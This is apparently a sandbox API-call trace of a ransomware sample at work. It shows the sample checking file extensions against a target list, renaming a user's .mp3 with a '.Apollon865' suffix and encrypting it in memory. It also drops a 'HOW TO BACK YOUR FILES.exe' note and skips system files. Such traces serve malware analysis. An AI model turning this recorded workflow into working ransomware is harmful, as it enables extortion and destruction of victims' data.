	[0087.913] lstrlenW (lpString="db-wal") returned 6
	[0087.913] lstrcmpiW (lpString1="3H.mp3", lpString2="db-wal") returned -1
	[0087.913] lstrlenW (lpString="dbc") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.913] lstrlenW (lpString="dbs") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.913] lstrlenW (lpString="dbt") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.913] lstrlenW (lpString="dbv") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.913] lstrlenW (lpString="dbx") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.913] lstrlenW (lpString="dcb") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.913] lstrlenW (lpString="dct") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.913] lstrlenW (lpString="dcx") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.913] lstrlenW (lpString="ddl") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.914] lstrlenW (lpString="dlis") returned 4
	[0087.914] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.914] lstrlenW (lpString="dp1") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.914] lstrlenW (lpString="dqy") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.914] lstrlenW (lpString="dsk") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.914] lstrlenW (lpString="dsn") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0087.914] lstrlenW (lpString="dtsx") returned 4
	[0087.914] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.914] lstrlenW (lpString="dxl") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.914] lstrlenW (lpString="eco") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.914] lstrlenW (lpString="ecx") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.914] lstrlenW (lpString="edb") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.914] lstrlenW (lpString="epim") returned 4
	[0087.914] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.914] lstrlenW (lpString="fcd") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.914] lstrlenW (lpString="fdb") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.914] lstrlenW (lpString="fic") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.914] lstrlenW (lpString="flexolibrary") returned 12
	[0087.914] lstrcmpiW (lpString1=" BX-zs3H.mp3", lpString2="flexolibrary") returned -1
	[0087.914] lstrlenW (lpString="fm5") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.914] lstrlenW (lpString="fmp") returned 3
	[0087.914] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.915] lstrlenW (lpString="fmp12") returned 5
	[0087.915] lstrcmpiW (lpString1="H.mp3", lpString2="fmp12") returned 1
	[0087.915] lstrlenW (lpString="fmpsl") returned 5
	[0087.915] lstrcmpiW (lpString1="H.mp3", lpString2="fmpsl") returned 1
	[0087.915] lstrlenW (lpString="fol") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.915] lstrlenW (lpString="fp3") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.915] lstrlenW (lpString="fp4") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.915] lstrlenW (lpString="fp5") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.915] lstrlenW (lpString="fp7") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.915] lstrlenW (lpString="fpt") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.915] lstrlenW (lpString="frm") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.915] lstrlenW (lpString="gdb") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.915] lstrlenW (lpString="gdb") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.915] lstrlenW (lpString="grdb") returned 4
	[0087.915] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.915] lstrlenW (lpString="gwi") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.915] lstrlenW (lpString="hdb") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.915] lstrlenW (lpString="his") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.915] lstrlenW (lpString="ib") returned 2
	[0087.915] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.915] lstrlenW (lpString="idb") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.915] lstrlenW (lpString="ihx") returned 3
	[0087.915] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.916] lstrlenW (lpString="itdb") returned 4
	[0087.916] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.916] lstrlenW (lpString="itw") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.916] lstrlenW (lpString="jet") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.916] lstrlenW (lpString="jtx") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.916] lstrlenW (lpString="kdb") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.916] lstrlenW (lpString="kexi") returned 4
	[0087.916] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.916] lstrlenW (lpString="kexic") returned 5
	[0087.916] lstrcmpiW (lpString1="H.mp3", lpString2="kexic") returned -1
	[0087.916] lstrlenW (lpString="kexis") returned 5
	[0087.916] lstrcmpiW (lpString1="H.mp3", lpString2="kexis") returned -1
	[0087.916] lstrlenW (lpString="lgc") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.916] lstrlenW (lpString="lwx") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.916] lstrlenW (lpString="maf") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.916] lstrlenW (lpString="maq") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.916] lstrlenW (lpString="mar") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.916] lstrlenW (lpString="marshal") returned 7
	[0087.916] lstrcmpiW (lpString1="s3H.mp3", lpString2="marshal") returned 1
	[0087.916] lstrlenW (lpString="mas") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.916] lstrlenW (lpString="mav") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.916] lstrlenW (lpString="maw") returned 3
	[0087.916] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.916] lstrlenW (lpString="mdbhtml") returned 7
	[0087.917] lstrcmpiW (lpString1="s3H.mp3", lpString2="mdbhtml") returned 1
	[0087.917] lstrlenW (lpString="mdn") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.917] lstrlenW (lpString="mdt") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.917] lstrlenW (lpString="mfd") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.917] lstrlenW (lpString="mpd") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.917] lstrlenW (lpString="mrg") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.917] lstrlenW (lpString="mud") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.917] lstrlenW (lpString="mwb") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.917] lstrlenW (lpString="myd") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.917] lstrlenW (lpString="ndf") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.917] lstrlenW (lpString="nnt") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.917] lstrlenW (lpString="nrmlib") returned 6
	[0087.917] lstrcmpiW (lpString1="3H.mp3", lpString2="nrmlib") returned -1
	[0087.917] lstrlenW (lpString="ns2") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.917] lstrlenW (lpString="ns3") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.917] lstrlenW (lpString="ns4") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.917] lstrlenW (lpString="nsf") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.917] lstrlenW (lpString="nv") returned 2
	[0087.917] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.917] lstrlenW (lpString="nv2") returned 3
	[0087.917] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.918] lstrlenW (lpString="nwdb") returned 4
	[0087.918] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.918] lstrlenW (lpString="nyf") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.918] lstrlenW (lpString="odb") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.918] lstrlenW (lpString="odb") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.918] lstrlenW (lpString="oqy") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.918] lstrlenW (lpString="ora") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.918] lstrlenW (lpString="orx") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.918] lstrlenW (lpString="owc") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.918] lstrlenW (lpString="p96") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.918] lstrlenW (lpString="p97") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.918] lstrlenW (lpString="pan") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.918] lstrlenW (lpString="pdb") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.918] lstrlenW (lpString="pdm") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.918] lstrlenW (lpString="pnz") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.918] lstrlenW (lpString="qry") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.918] lstrlenW (lpString="qvd") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.918] lstrlenW (lpString="rbf") returned 3
	[0087.918] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.918] lstrlenW (lpString="rctd") returned 4
	[0087.918] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.919] lstrlenW (lpString="rod") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.919] lstrlenW (lpString="rodx") returned 4
	[0087.919] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.919] lstrlenW (lpString="rpd") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.919] lstrlenW (lpString="rsd") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.919] lstrlenW (lpString="sas7bdat") returned 8
	[0087.919] lstrcmpiW (lpString1="zs3H.mp3", lpString2="sas7bdat") returned 1
	[0087.919] lstrlenW (lpString="sbf") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.919] lstrlenW (lpString="scx") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.919] lstrlenW (lpString="sdb") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.919] lstrlenW (lpString="sdc") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.919] lstrlenW (lpString="sdf") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.919] lstrlenW (lpString="sis") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.919] lstrlenW (lpString="spq") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.919] lstrlenW (lpString="te") returned 2
	[0087.919] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.919] lstrlenW (lpString="teacher") returned 7
	[0087.919] lstrcmpiW (lpString1="s3H.mp3", lpString2="teacher") returned -1
	[0087.919] lstrlenW (lpString="tmd") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.919] lstrlenW (lpString="tps") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.919] lstrlenW (lpString="trc") returned 3
	[0087.919] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.919] lstrlenW (lpString="trc") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.920] lstrlenW (lpString="trm") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.920] lstrlenW (lpString="udb") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.920] lstrlenW (lpString="udl") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.920] lstrlenW (lpString="usr") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.920] lstrlenW (lpString="v12") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.920] lstrlenW (lpString="vis") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.920] lstrlenW (lpString="vpd") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.920] lstrlenW (lpString="vvv") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.920] lstrlenW (lpString="wdb") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.920] lstrlenW (lpString="wmdb") returned 4
	[0087.920] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.920] lstrlenW (lpString="wrk") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.920] lstrlenW (lpString="xdb") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.920] lstrlenW (lpString="xld") returned 3
	[0087.920] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.920] lstrlenW (lpString="xmlff") returned 5
	[0087.920] lstrcmpiW (lpString1="H.mp3", lpString2="xmlff") returned -1
	[0087.920] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\U xszFH BX-zs3H.mp3.Apollon865") returned 83
	[0087.920] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\U xszFH BX-zs3H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\u xszfh bx-zs3h.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\U xszFH BX-zs3H.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\u xszfh bx-zs3h.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\U xszFH BX-zs3H.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\u xszfh bx-zs3h.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.922] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=73228) returned 1
	[0087.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0087.923] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0087.923] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.923] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.923] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12110, lpName=0x0) returned 0x15c
	[0087.924] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12110) returned 0x120000
	[0087.927] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0087.927] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.927] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.928] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.929] CloseHandle (hObject=0x15c) returned 1
	[0087.929] CloseHandle (hObject=0x9c) returned 1
	[0087.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0087.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.931] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a81e0, ftCreationTime.dwHighDateTime=0x1d4cc39, ftLastAccessTime.dwLowDateTime=0xef66a5f0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xef66a5f0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x11e0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U xszFH BX-zs3H.mp3", cAlternateFileName="UXSZFH~1.MP3")) returned 0
	[0087.931] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.931] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0087.931] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1"
	[0087.931] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0087.931] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0087.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned 66
	[0087.931] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1"
	[0087.931] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.931] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.932] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.932] GetLastError () returned 0x0
	[0087.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.932] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.933] CloseHandle (hObject=0x10c) returned 1
	[0087.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.933] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.933] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.933] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.933] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.933] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.933] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.933] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.933] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.933] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.933] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb49870, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x9b663e70, ftLastAccessTime.dwHighDateTime=0x1d4c72a, ftLastWriteTime.dwLowDateTime=0x9b663e70, ftLastWriteTime.dwHighDateTime=0x1d4c72a, nFileSizeHigh=0x0, nFileSizeLow=0xdbf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-8 zdu3b59rJKIcQ1ig.wav", cAlternateFileName="-8ZDU3~1.WAV")) returned 1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="Apollon865.txt.exe") returned -1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".") returned 1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="..") returned 1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="windows") returned -1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="bootmgr") returned -1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="temp") returned -1
	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="pagefile.sys") returned -1
